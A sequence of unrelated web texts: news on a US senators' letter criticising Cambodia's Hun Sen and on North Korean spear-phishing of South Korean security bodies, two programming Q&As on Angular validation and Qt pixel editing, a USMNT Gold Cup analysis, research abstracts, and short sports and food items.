A deal of this size will likely take a while, since the cost and ability to zone will take some homework. It will be an interesting benchmark for Vancouver real estate however. Land’s only worth what someone is willing to pay for it, so if a developer thinks there’s a little more steam in redeveloping single-family detached homes, there might be a few more speculators that jump into the market.

Like this post? Like us on Facebook for the next one right in your feed.

Photo via listing.


A dozen senior US lawmakers have sent a damning indictment of Prime Minister Hun Sen to newly re-elected President Barack Obama, accusing the Cambodian premier of links to high-profile cases of illegal logging and a raft of human-rights abuses.

The highly provocative and thinly sourced letter, signed by five senators and seven members of Congress, urges Obama to speak out against rights abuses – including a killing it alleges is connected to a firm with links to Hun Sen – during his upcoming visit to Cambodia for the ASEAN Summit.

It frames these events as being “in the wake of the Arab spring”, warns of growing Chinese influence and is signed by the likes of former Republican presidential candidate John McCain, Democrat Barbara Boxer and independent Joe Lieberman, all high-ranking US senators.

“In April, respected environmental organiser Chhut Wutty was killed by a military policeman while documenting illegal logging – a major source of revenue for Hun Sen and businessmen associated with him,” it reads.

“In May, a 14-year-old girl was killed in Prama, a poor rural village in northern Cambodia, during a protest against eviction operations expropriating land on behalf of a company with connections to Hun Sen.

“The Prime Minister [Hun Sen] is increasingly using politically controlled courts to facilitate these land seizures and bolster his unpopular rule.”

The letter, dated October 31 and obtained yesterday by the Post, calls for Obama to pressure the Cambodian government into letting opposition Cambodian National Rescue Party leader Sam Rainsy return to Cambodia ahead of the July, 2013 national election.

And it calls for Obama to push for the release of jailed Beehive Radio station owner Mam Sonando as well as for reform to Cambodia’s electoral system — demands that, in their totality, read almost identically to the newly formed CNRP’s electoral platform and the agenda of several prominent rights groups.

Son Chhay, the SRP whip who will be joining the CNRP when it is registered as the country’s main opposition party next year, confirmed that senior party officials had been meeting with lawmakers in Washington and lobbying them on Cambodian rights issues.

The timing of the letter is potentially volatile, with the ASEAN Summit in Phnom Penh looming on the horizon.

Past meetings this year have been charged with tension, with acrimony pouring from some ASEAN members and partners incensed by perceptions that China had imposed its agenda on the talks by controlling a servile beneficiary, Cambodia — a charge Phnom Penh vehemently denied.

But government spokesmen were tempered in their responses yesterday, politely affirming America's right to criticise Cambodia while dismissing the veracity of some of the claims made in the letter.

Tith Sothea, a spokesman from the Council of Ministers’ Quick and Press Reaction Unit, said the US senators should examine Cambodian law in depth before asking for the release of someone such as Mam Sonando.

“Cambodia has independence and sovereignty for deciding about something [judicially], so the report of the US senate members is not right,” he said, echoing what has become a default government response to any suggestion of political manipulation of the courts.

Last month, Sonando was found guilty of masterminding a so-called secessionist plot and sentenced to 20 years jail in a trial widely derided by rights groups and foreign governments as a politically motivated sham.

Council of Ministers spokesman Phay Siphan said, speaking from his personal view, that Cambodia welcomed people expressing their opinions on Cambodia, especially US policymakers, but would prefer it if Obama raised any concerns he had during bilateral meetings.

“I really appreciate that US politicians maintain much attention on Cambodia. We still appreciate the co-operation and good relations between the two nations so far, and we keep respecting each other, the interests of the United States and our interests. We are partners,” he said.

Siphan said some of the issues that had been raised in the letter were out of date and the government would welcome the opportunity to explain to Obama how they were gradually being resolved.

The Post attempted to contact almost all of the signatories to the letter yesterday, as well as representatives of Obama, but none of them could respond immediately.

The US is not the only foreign power that has waded into the debate over Cambodia’s human rights situation. Other countries that have spoken out received belated tongue-lashings from government officials.

After the European Parliament issued a damning resolution last month that sang much to the same tune as the US's letter – condemning a raft of different human-rights abuses in Cambodia – a diplomat from the Ministry of Foreign Affairs blasted them with accusations of bias and falsification.

The Australian Senate passed a similar resolution, which was more diplomatically dismissed by the Cambodian charge d’affairés there, Kimsour Savannary, as based on the biased and flawed views of opposition CNRP leader Sam Rainsy and UN special rapporteur on human rights in Cambodia Surya Subedi.

Political analyst Lao Mong Hay said yesterday the US letter was more or less identical to these prior critiques.

“Whether it is weighty enough to get newly re-elected President Obama to act remains to be seen,” he added. “They could have got the US Congress and Senate to pass a similar resolution as the European Parliament. That would be very weighty indeed.”

Mong Hay, who has previously met John McCain in Washington, said the senator and his Democrat counterpart and co-signatory Senator Patrick Leahy had long been supporters of the Sam Rainsy Party.

But he said they possessed their own acute knowledge of Cambodian affairs, particularly McCain, who was jailed in Hanoi after he was shot down flying a fighter plane, and has maintained a watchful eye on Asian politics ever since.

Sam Rainsy has recently been in the US as part of a world tour wooing foreign support in his quest to have criminal convictions against him quashed so he can participate in the July, 2013 election and various other democratic reforms he has proposed.

Should he return, Rainsy faces 12 years in jail for a spate of charges related to a 2009 incident in which he uprooted demarcation posts on the Vietnamese border that he claimed illegally encroached on Cambodian territory.

MOST VIEWED

Minister of Education Hang Chuon Naron on Tuesday wrote to Prime Minister Hun Sen requesting a delay of school reopening across the Kingdom until November, when the new academic year begins.
In his letter, Chuon Naron said the postponement is warranted to avoid the new

The Ministry of Interior’s General Department of Immigration (GDI) announced that it would not grant visa extensions to foreigners staying in Cambodia if their names are not listed on the Foreigners Present in Cambodia System (FPCS) by July 1.
Foreign nationals can register in the

The Covid-19 risk level for individual transmission is at an “alarming rate” in the Kingdom and its probability is “not low”, warned Health Ministry spokesperson Or Vandine.
“Cambodia’s coronavirus scenario is classified as being at an early stage of the pandemic because of ongoing

Some of the roughly 30,000 workers from factories and enterprises across the Kingdom who went on leave during Khmer New Year began their government-imposed 14-day quarantine on Monday.
Speaking at a press conference while visiting workers at the Phnom Penh Special Economic Zone on Monday, Ministry

The Ministry of Labour and Vocational Training has instructed enterprises, business owners and travel agencies in five provinces to prepare the proper forms for the suspension of employment contracts.
This, it said, will make it easier for the ministry to transfer $40 a month to workers

While the majority of Cambodians have paid heed to Prime Minister Hun Sen’s order to stay put and not travel during the Khmer New Year – the holidays of which were also postponed – several hundred have left Phnom Penh nonetheless.
They have allegedly breached provincial

Top oil producers struggled to finalise production cuts during a virtual summit held by Group of 20 (G20) energy ministers on Friday, despite US President Donald Trump’s mediation efforts to end a standoff with Mexico.
The final G20 communique appeared to gloss over simmering divisions

The government on Friday eased the district and provincial border restrictions issued on Thursday. People are now allowed to cross districts within their provinces.
Phnom Penh and Kandal province are to be treated as a single region where people are allowed to travel freely.
In

The Cambodian Higher Education Association has claimed that 113 private educational establishments are facing bankruptcy because of their inability to pay rent and staff salaries in light of nationwide school closures caused by the Covid-19 outbreak.
It said the financial trouble started when the Ministry of


Steph Curry told story of that video of him eating ribs at his party

Steph Curry's guest on the latest episode of his YouTube series, 5 Minutes from Home, mentioned that he saw the Warriors star eating a plate of ribs, and that's all he needed to say before Curry explained what was going on in the viral video of him at his 30th birthday party.

"30th birthday party, my wife surprised me with basically about 200 people, people from my organization, friends and family. I didn't get to eat, though, for the first two hours, so I'm trying to play catchup at the end. Somebody walks by with basically two racks of ribs on a plate - E-40's rapping at the same time. I'm like, this is amazing, let me just enjoy this moment. I'm sitting on the stage, got my plate in my hand, eating the ribs like tell me when to go, tell me when to go."

That night was so crazy that the team canceled practice the next day.

Warriors just announced they canceled practice today. Everyone in recovery mode after Curry's 30th.


A study on healthcare supply chain management efficiency: using bootstrap data envelopment analysis.
The aims of this study are to analyze the efficiency of players comprising the healthcare supply chain comparatively, and to investigate the relationship between these different types of efficiency, eventually seeking the way to optimize a healthcare supply chain. To achieve the aims, the players comprising a healthcare supply chain are classified either into manufacturers, distributors, wholesalers and retailers based on industry, or into the healthcare system and the non-healthcare system based on the system. The subjects are medical institutions comprising a healthcare supply chain. They have been selected as "The Healthcare Supply Chain Top 25" by Gartner for 5 years in a row from 2012 to 2016. The bootstrap data envelopment analysis (DEA) and correlation analysis are used. The results are as follows. Players with relatively high competitive efficiency (wholesalers and retailers) can achieve high managerial efficiency even if they pay relatively less attention to supply chain efficiency while players with low competitive efficiency (manufacturers and distributors) should focus on supply chain efficiency to maintain managerial efficiency. In the healthcare system, no significant correlation was observed between managerial efficiency, supply chain efficiency and competitive efficiency. However, the analysis showed that there was a significant positive correlation between the managerial efficiency and the competitive efficiency in the non-healthcare system. This study expands the field of the healthcare supply chain management efficiency.


Q:

Is it possible in Angular reactive forms to validate on conditions out of the form?

I'm working on Angular reactive forms validation. I have an input with google autocomplete implemented on it:
<input autocorrect="off" autocapitalize="off" spellcheck="off" type="text" class="input-auto input" formControlName="address">

It is standard implementation, everytime you enter some keyword, you get places suggestions:

Now, what I would like to do is to validate the address. The address needs to contain zip code - only then should be valid. So once you type something and choose one of the suggestions, the validation should be fired. When chosen suggestion contains zip code is valid, when not - is invalid.
As you can see there is only one form control for the whole address (and this should stay like that), which I fill with formatted address from google API. I'm getting also the information about the address components from google places API, which I store in global variables (zipCode, countryName, cityName, streetName):
    this.mapsAPILoader.load().then(() => {
      const autocomplete = new window['google'].maps.places.Autocomplete(this.searchElementToRef.nativeElement, {
        types: ['address']
      });
      autocomplete.addListener('place_changed', () => {
        this.ngZone.run(() => {

          const place = autocomplete.getPlace();

          if (place.geometry === undefined || place.geometry === null) {
            return;
          }

          this.form.get('address').setValue(place.formatted_address);

          for (const addressComponent of place.address_components) {
            for (const addressComponentType of addressComponent.types) {
              switch (addressComponentType) {
                case 'postal_code':
                  this.zipCode = addressComponent.long_name;
                  break;
                case 'country':
                  this.countryName = addressComponent.long_name;
                  break;
                case 'locality':
                  this.cityName = addressComponent.long_name;
                  break;
                case 'route':
                  this.streetName = addressComponent.long_name;
                  break;
              }
            }
          }
        });
      });
    });

In the method which creates the form with FormBuilder I use custom validator:
  public createFormGroup(): FormGroup {
    return this.fb.group({
      address: [null, this.zipCodeValidator()]
    });
  }

With below custom validation method I would like to get the error when the zipCode is missing in address:
  public zipCodeValidator(): ValidatorFn {
    return (control: AbstractControl): Observable<{ [key: string]: boolean } | null> => {
      if (this.zipCode !== undefined) {
        return of({ zipCode: true });
      }
      return null;
    };
  }

However the form it is not correctly validated, because no matter I get the address with or without zip code - it is always valid:

If I use as a condition form control related value, the validation it's working. So updating the validation method to the below state generates an error when there is nothing entered to the input:
  public zipCodeValidator(): ValidatorFn {
    return (control: AbstractControl): Observable<{ [key: string]: boolean } | null> => {
      if (control.value === null) {
        return of({ noValue: true });
      }
      return null;
    };
  }

Question:
Is it possible to validate the form like that - with the conditions actually out of the form (since I do not pass this zipCode value to any form control directly)?

A:

The answer is, it is possible to validate on conditions out of the form and as usually it was very close to me.
First I've messed up with the validation method. Observable I've used is for async-validation. So after fixing it, the method will return the object only, not the Observable:
  public zipCodeValidator(): ValidatorFn {
    return (control: AbstractControl): { [key: string]: boolean } | null => {
      if (control.value !== null) {
        // if value exists, we can add number of conditions
        if (this.zipCode !== undefined) {
          return { zipCode: true };
        }
      } else {
          // here we can react when there is no value entered - act as validator.required
          return { empty: true}
        }
      return null;
    };
  }

Then I've started to get the validation done, but for the previous state of the zipCode variable. I thought because maybe I need to use the async-validation, but it was even simpler. I've set the value of address form control too early:   this.form.get('address').setValue(place.formatted_address);
So I've moved it behind the part where I'm looking for the zip code and it worked:
this.mapsAPILoader.load().then(() => {
  const autocomplete = new window['google'].maps.places.Autocomplete(this.searchElementToRef.nativeElement, {
    types: ['address']
  });
  autocomplete.addListener('place_changed', () => {
    this.ngZone.run(() => {

      const place = autocomplete.getPlace();

      if (place.geometry === undefined || place.geometry === null) {
        return;
      }

      for (const addressComponent of place.address_components) {
        for (const addressComponentType of addressComponent.types) {
          switch (addressComponentType) {
            case 'postal_code':
              this.zipCode = addressComponent.long_name;
              break;
            case 'country':
              this.countryName = addressComponent.long_name;
              break;
            case 'locality':
              this.cityName = addressComponent.long_name;
              break;
            case 'route':
              this.streetName = addressComponent.long_name;
              break;
          }
        }
      }

      this.form.get('address').setValue(place.formatted_address);
    });
  });
});

There is also question about what if I want to fire the validation in other moment, not from beginning. Then just need to set it in the right place and update the validators:
this.form.get('address').setValidators(this.zipCodeValidator());
this.form.get('address').updateValueAndValidity();

Also if there is a need to remove it at some point, here is the easy way:
this.form.get('address').clearValidators();


Well, that was a good performance. After a tepid and weak showing against Curaçao, the USMNT bounced back with a win over 3-1 Jamaica. The US came out ready to put Jamaica to the sword, creating chances at will and bagging an early goal. Considering that the USMNT put out a stinker against a weakened Jamaica side about 6 months ago, I’d say that this was improvement.

However, things got a bit more difficult after that. The threat of lightening suspended the game for 120 minutes. And Jamaica clearly spent time figuring out how to deal with the onslaught ahead of them. When play resumed, things were WAY tighter, with Jamaica pressing the center backs and trying to starve Bradley of the ball. It took a little while for the US to adapt, but they figured it out and were able to get the ball to their advanced players, eventually breaking down the Reggae Boyz two more times to win 3-1. Here’s what we learned.

Setting the Rotations

The complexity of Gregg Berhalter’s system has been widely commented on thus far. But this game showed that system at both it’s most fluid and it’s most complex. Let’s take a look at where all the players were moving.

We are going to start with Christian Pulisic because a lot of the movement reacts to what he does. Pulisic’s way more comfortable on the wing, for the US, the left wing. He vacates the middle and goes left. From that side, he’s got the space to beat defenders on the dribble, cut inside, or put in a cross. He can also combine with Arriola to outnumber and overwhelm the fullback. That is, unless Arriola goes inside. When Pulisic is out on the left, Arriola would often tuck inside to keep numbers in midfield.

Alternatively, Jozy Altidore would check into midfield. This proved to be a fundamental component to breaking the Jamaican defensive line. When Altidore drops into midfield, he helps either preserve numbers in the middle, or even outnumber the Jamaican midfielders. From there, he could combine with Bradley, Pulisic, Arriola, and McKennie, depending on who was where.

In turn, Jordan Morris would come inside high up the pitch, effectively serving as a potential striker occupying the center backs. Morris’ position is fundamentally different from someone like Boyd. Morris, who has played at both the wings and at striker, plays high up the field, completely willing to use his pace to run onto the ball. Boyd, on the other hand, wants to come inside, build up play, do a dribble, and take a shot. And that means that, while Boyd appears to be the better player, Morris makes more sense for the team, at least with these tactics. If Berhalter wants more numbers in the middle, he could put Boyd out there again. (This means that Morris is likely to be a pretty firm pick for the USMNT going forward ... at least until Tim Weah takes his job.)

Finally, Reggie Cannon would come up from the defense and play high and wide on the right. We saw him do this on the opening goal, when he was put in by Bradley way on the right and went in the cross that McKennie scored.

What does all this do to the defenders? Well, it gives them a massive number of problems to deal with.

Who is marking Pulisic when he goes wide? Does a central midfielder follow him, or do the wingers and fullbacks just have to deal with it? Who is marking Arriola when he cuts inside? Does a defender follow him into the middle? Is it now a midfielder’s job to handle him? But what if that mid followed Pulisic out wide? Who is marking Altidore when he drops into the midfield? Does a center back follow him into midfield? Or does a center mid keep his head up and mark Altidore? But what if that center mid followed Pulisic out to the wing? Is this supposed to be the spare mid, the one that might be marking Arriola? Who is marking Jordon Morris? He just cut inside high up the field, above Altidore. If Altidore is being marked by a centerback, is the other center back supposed to slide over to mark Morris? But that leaves no last defender to cover the goal. What if he gets beat? Or does that left fullback follow him all the way inside? Who is marking Reggie Cannon? The wingers normally come inside and do double duty, helping the fullback mark the wingers and the fullbacks as well as chipping in to mark the likes of Bradley and McKennie. If the fullback is preoccupied with Morris, does that mean that the winger has to drop back and cover Cannon? But then, who is supposed to mark the midfield? How big of a deal is it really to mark a defender high up the field? Wait, if the left winger has to track back to mark Cannon, the right winger has to deal with Pulisic, and the midfield has to mark Altidore and Arriola (and maybe also Pulisic again), who is supposed to be closing down on McKennie and Bradley in space? Wait, who let Bradley get an acre of space in the midfield on the ball? CLOSE HIM DOWN. STOP HIM. DON’T LET HIM PASS THE BALL. Whoa, wait, is that Reggie Cannon streaking up the defender’s left side? Wait, THE BALL IS GOING TOWARDS HIM. Agh, Altidore is in the box and there’s a cross... wait, IS THAT WESTON MCKENNIE?? Goal

WESTON MCKENNIE!

A beautiful team goal right there by the @USMNT #GoldCup2019 pic.twitter.com/8XkzMO5JAD — FOX Soccer (@FOXSoccer) July 4, 2019

When Cannon puts in that cross, there’s SIX attacking players in the final third. The defense is completely disorganized and pulled out of shape... and they’ve lost the number’s advantage. There’s only six defenders back there, plus the keeper. This goal shows, if the defending team can’t answer every single one of those questions (ok, the first 5 or 6), they will get scored on. And that’s A LOT of questions a defense has to keep track of and answer. Berhalter has said that he’s all about using possession to disorganize defenders and create chances. Well, that’s what that looks like.

Texan Lynchpin

I have been focused on McKennie through this entire tournament. I’ve written an article for each game and, going back through the whole tournament to the game against Venezuela, I’ve written at least a paragraph talking about Mckennie (excluding the Panama game, where he didn’t start). I have not talked about anyone else this extensively in all these posts. And a lot of it has been critical. Why? Well, I firmly believe that this is the fundamental question for this USMNT side:

Who wins the ball back?

Traditionally, defensive midfielders are tasked with controlling the middle of the field, with breaking up plays and recovering the ball. If you are going to play a possession game, you absolutely have to be able to win the ball back, otherwise, you aren’t going to have much possession. It’s also a fundamental part of defending in a possession based scheme. Possession soccer defends by starving the opponent of the ball. But it also relies on breaking up the kinds of fast breaks that happen when a team loses the ball and is not prepared to immediately defend. Because of this, I regularly ponder whether the defensive midfielder is fundamentally the most important player on a team.

The good news is that the USMNT seems to have a ready built player to answer that question in Tyler Adams. The bad news is that, after transferring to the Bundesliga following a full season in MLS (a near continuous 15 months of soccer) , Adams picked up some knocks and had to deal with a chronic injury. He missed out on the Gold Cup roster. That means somebody else has to do the job of winning the ball back.

There’s only a handful of possible answers to this question. You can adapt the formation in order to help compensate for the issue, spreading it out to more players. But if you want a three man midfield, one of the players in midfield has to do the job. That means Pulisic, Bradley, or McKennie. Pulisic’s a CAM/Winger; he’s not doing it. Bradley is old and slow and there to block passing lanes and hit line-breaking passes. He can’t do it anymore. That leaves McKennie. If McKennie doesn’t get the job done, nobody is doing it. Let me repeat that. If McKennie doesn’t do the most important job for the USMNT, nobody else will. And that’s why I’ve been so focused on McKennie. When McKennie plays well, it shows in the rest of the USMNT. It’s the games where he’s not on the field (Panama) or playing poorly (Curaçao) where the US struggles.

But against Jamaica, McKennie was fantastic. He dropped deeper into midfield, essentially level with Bradley (and even deeper than him at times.) This meant he was better positioned to recover the ball. And it meant that he had space in front of him to pick out great passes or make late runs into the box and score. Getting that positioning right was fundamentally key to getting into the game. The US will need to see more of that that from McKennie if they want to win against Mexico. But we’ve seen that he can do it. And when he is doing it, when he is out there playing his game, he’s nigh impossible to play against.

A Healthy Jozy

Jozy Altidore is going to the Gold Cup final, hamstrings intact. Altidore has at least appeared in every game in this tournament for the USMNT save for the match against Curaçao, mostly as a substitute, with Berhalter heavily managing his minutes. When was the last time he played a whole tournament? Let’s count:

2018: United States Missed the World Cup

2017: Joined the Gold Cup after the Group stage

2016: Injured for the whole of the Copa America Centenario, not on the roster

2015: Left the Gold Cup after the Group Stage

2014: Injured in the opening minutes of the first game v. Ghana

2013: Not on Gold Cup roster

2011: Hamstring injury during the Gold Cup; missed the final v. Mexico

2010: Altidore plays in all four matches of the World Cup in South Africa.

This is the first time Altidore has made it through a whole tournament with the United States, from start to finish, since 2010, almost a decade ago. I guess managing minutes here really paid off.

Looking back on the tournament thus far, I’m not sure Josh Sargent gets a minute of playing time. With Berhalter choosing to start Zardes, a player who clearly was comfortable and versed in the game plan, and leftover minutes to bring Altidore to full fitness, I’m not really sure that Sargent gets on the field (especially with him not getting many minutes in the spring). However, Sargent happens to have the skillset to do the job that Berhalter seems to want out of his striker, a good deal more so than Zardes. Sargent can pass, he’s comfortable in possession, and he can check into the midfield. This team functions super well with Altidore out there, but I’m honestly wondering if that striker role is now being specially tailored for Sargent to take it in the next few years.

We’ve now seen great performances from both Nick Lima and Reggie Cannon out at rightback. Right now, I’m comfortable with either of them playing in that spot against Mexico. And that ought to make DeAndre Yedlin nervous for his starting spot. Yedlin’s had problems with the national team. He’s overly reliant on his speed, both in defending and in attack. With Cannon and Lima making these kinds of runs, with the excellent crossing we’ve seen from them through this tournament, I think the Newcastle defender ought to take notice.

The goal conceded was the first, and so far, only goal the USMNT has let in this entire Gold Cup. That far exceeds Mexico’s defensive efforts, and is WAY better than anything people were expecting following the losses to Jamaica and Venezuela in the tune up matches. The US has clearly been strong in defense.

HOWEVER, that goal was an ugly and stupid one to concede. Matt Miazga (who, up to that point, had been good) put pass up to Zardes, who wasn’t in a position to receive it. Zardes, who is not at all a natural possession player, lost it. And thus, the break was on. Leon Bailey was able to get the ball down the left side, where he put in a cross that got converted. From there, the game got testy, at least until Pulisic grabbed his second and put the game away. I’ve already talked about the deficiencies of Zardes and how he doesn’t fit the role. But Miazga also is culpable and has to do better. From the performances we’ve seen in this tournament thus far, I have to say, Walker Zimmerman doesn’t hit that bad pass. Miazga’s got to keep his concentration up throughout the whole tournament. He’s got the chance to be the starter for the USMNT for a decade, but his distribution isn’t as solid as Zimmerman’s (or Miazga’s was perhaps 18 months ago.)

Aaron Long was great, constantly chipping in to cover for an overwhelmed Tim Ream.

That’s all for me. The USMNT return for the Gold Cup final against Mexico on Sunday evening. By happenstance, the USWNT will appear for the World Cup final against the Netherlands that same morning.


Kramarczuk's Sausage to be Offered Fresh, Daily During Home Games at Target Field

02/10/2010 11:10 AM ET

MLB.com

MINNEAPOLIS - ST. PAUL, Minn. - The Minnesota Twins and Target Field food service partner Delaware North Sportservice are proud to announce a partnership with local deli favorite Kramarczuk Sausage Company. Kramarczuk's, a family-owned Northeast institution for more than 55 years, will serve bratwurst, Polish and Hungarian sausages at Target Field.

The sausages will be made fresh daily just one mile away from Target Field and served at two concession carts placed throughout the concourses at the new ballpark. Kramarczuk's bratwurst is an excellent grilling sausage; its Polish sausage carries a subtle garlic flavoring; and its Hungarian sausage is a paprika-spiced pork.

To celebrate the partnership, Kramarczuk's will be offering free brats today, Feb. 10. Samples of all three Target Field selections will also be available during the formal announcement at 11 a.m. at Kramarczuk's Restaurant and Market at 215 East Hennepin Avenue.

Kramarczuk Sausage Company, founded in 1954, represents hard work and tradition. "My ancestors came to the United States from Ukraine in 1940 in hopes of achieving the American dream," said Orest Kramarczuk, owner of Kramarczuk's. "This partnership represents a great milestone for us, and I am thrilled to be supplying Twins fans with something I am so proud of."

Target Field continues to raise the bar on ballpark cuisine with regional influences and partnerships with iconic local restaurants.

"The Twins are proud to add another local icon like Kramarczuk's to the culinary lineup at Target Field," said Dave St. Peter, Twins president.

"Sportservice is dedicated to supplying Target Field with food and beverage choices from some of the best culinary concepts in the local market," said Pete Spike, Sportservice general manager at Target Field. "We believe that Kramarczuk will add spice to the already great lineup at Target Field."

Fans can learn more about Target Field's concessions and dining offerings at www.TasteOfTwinsTerritory.com.

This story was not subject to the approval of Major League Baseball or its clubs.


Effects of chronic d-amphetamine treatment on cocaine- and food-maintained responding under a progressive-ratio schedule in rhesus monkeys.
d-Amphetamine is a candidate agonist medication for the treatment of cocaine dependence, and evaluation of d-amphetamine effects on abuse-related effects of cocaine in preclinical assays is warranted. This study was designed to assess the effects of chronic d-amphetamine treatment on cocaine- and food-maintained responding under a progressive-ratio schedule in rhesus monkeys. The effects of schedule manipulations on cocaine and food-maintained responding were also examined for comparison with d-amphetamine effects. Key-press responding under a progressive-ratio schedule resulted in the delivery of cocaine (0.032 mg/kg per injection) or 1 g food pellets. The effect of manipulating cocaine dose (saline, 0.001-0.1 mg/kg per injection) or the number of food pellets delivered (0, 1 and 4 pellets) was determined. Subsequently, three schedule parameters were manipulated: (1) starting ratio value, (2) increments of the ratio progression, and (3) duration of post-reinforcer time-outs when the ratio value was constant. Finally, the effects of 10-day treatment with d-amphetamine (0.01-0.1 mg/kg per hour) were examined. Break points increased as a function of cocaine dose or the number of food pellets, and similar break points were maintained by delivery of 0.032 mg/kg per injection cocaine and 1 food pellet. Manipulation of schedule parameters produced similar effects on responding maintained by cocaine (0.032 mg/kg per injection) or food (1 pellet). In contrast, d-amphetamine produced a dose-dependent decrease in cocaine-maintained responding and had less consistent effects on food-maintained responding. These results are consistent with the hypothesis that chronic treatment with d-amphetamine decreases cocaine self-administration in rhesus monkeys, possibly by attenuating the reinforcing effects of cocaine.


Q:

How do I change each pixel

I am new to Python and I still don't know what exactly Qimage's pixel returns (it seems to a tupel of rgb or rgba -the lack of type declaration doesn't help)
I want to grab each each pixel and change it.
newqim = QImage(imWidth, imHeight, QImage.Format_ARGB32)
for xstep in range(0, imWidth - 1):
    for ystep in range(0, imHeight - 1):

        pixelValueTuple = im.getpixel((xstep, ystep))
        pixelR = pixelValueTuple[0]
        pixelG = pixelValueTuple[1]
        pixelB = pixelValueTuple[2]
        copiedValue = qRgb(pixelR, pixelG, pixelB)

        newqim.setPixel(xstep, ystep, copiedValue)

Above is the provided code ,I thought I then iterate over that newqim, but I can't get a handle on how exactly I would do that in Python.
for xstep in range(0, imWidth-1):
    for ystep in range(0, imHeight -1):

A:

I'm not sure I understood what you want, but since you are new to Python, here go a few tips...
Unpacking
This code:
pixelR = pixelR[0]
pixelG = pixelValueTuple[1]
pixelB = pixelValueTuple[2]

Is the same as:
pixelR, pixelG, pixelB = pixelValueTuple[:3]

If you are sure len(pixelValueTuple) == 3, then it is just:
pixelR, pixelG, pixelB = pixelValueTuple

PEP-8
A bit of nitpick, but python guys tend to be a little nazy about syntax. Please read PEP-8. From now on I'm naming variables according to it (camelCase for instance variables just hurt my eyes %-).
Range
You probably want range(width) instead of range(0, width-1).
>>> range(10)
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

>>> range(0, 10 - 1)
[0, 1, 2, 3, 4, 5, 6, 7, 8]

Now back to your problem.
width, height = 300, 300
im = QImage(width, height, QImage.Format_ARGB32)

for x in range(im.width()):
    for y in range(im.height()):
        r, g, b, a = QColor(im.pixel(x ,y)).getRgb()
        # ... do something to r, g, b, a ...
        im.setPixel(x, y, QColor(r, g, b, a).rgb())

Example
width, height = 100, 100
im = QImage(width, height, QImage.Format_ARGB32)

for x in range(im.width()):
    for y in range(im.height()):
        im.setPixel(x, y, QColor(255, x * 2.56, y * 2.56, 255).rgb())

im.save('sample.png')

Result:


North hackers target national security network

The Ministry of Science, ICT and Future Planning warned yesterday that North Korean hacking attempts have been detected recently at small and midsize IT companies and institutions that deal directly with national security.The companies, especially those under contract with government agencies, were affected by recent hacking due to their relatively poor security, the ministry said.In the second half of last year, the number of phishing cases increased sevenfold to more than 60 compared to the first half, according to an official from the Science Ministry.According to the ministry, hacking attempts have also been found in emails. For example, the North has spread mass emails that contain malware since last month.North Korean hackers usually disguise emails as being from an acquaintance or colleague and send out fake event invitations or survey requests.Hackers have passed themselves off as members of an academic society that studies North Korea, as well as officials from the Ministry of Unification, according to the ministry.In January alone, there were 30 instances of such attempts. In December, similar emails were delivered to 159 people, including journalists and advisory board members related to both national security and free trade agreements.“Hacking attempts through emails were pretty common in the private sector,” said the Science Ministry official. “What makes this case unique is that such attempts specifically target key figures from public institutions related to national security, including the Foreign Affairs Ministry, Unification Ministry and Defense Ministry.”Also, the national cybersecurity administration confirmed that the hacking arose from IP addresses originating from North Korea.According to AhnLab, email hacking is a long-term effort that attempts to collect small pieces of information about individuals from a variety of sources.This method, known as spear phishing, targets specific persons or groups.According to AhnLab, spear phishing is unique because most of the fake emails contain attachments.The attackers embed malware that monitors or transfers information into attached files that appear normal and which have already been saved on the sender’s computer.Hackers these days use different file types to avoid suspicion, from program execution files like .exe to non-program files like .doc, .pdf and .zip.If the target group is small, the malware is meticulously customized, which makes it even more difficult for victims to identify.Security solution companies usually develop all-purpose general vaccines that have been designed to protect against well known or previously activated malware.The government explained that, compared to a different style that surfaced last year, spear phishing via email is a new cyberattack format.Pyongyang used to be bold when trying to hack computers in the South.On June 25, it directly broke through the Blue House and Prime Minister’s Office websites and made changes on web pages.At the same time, the attack also damaged the servers of several major broadcasting stations and newspapers.On March 20, the North targeted key financial institutions and media organizations in the South with a distributed denial of service attack (DDoS), which intentionally involves massive online traffic to paralyze a website.The Science Ministry estimated that attempted hacking occurs as many as 2,000 times a week.BY KIM JI-YOON [jiyoon.kim@joongang.co.kr]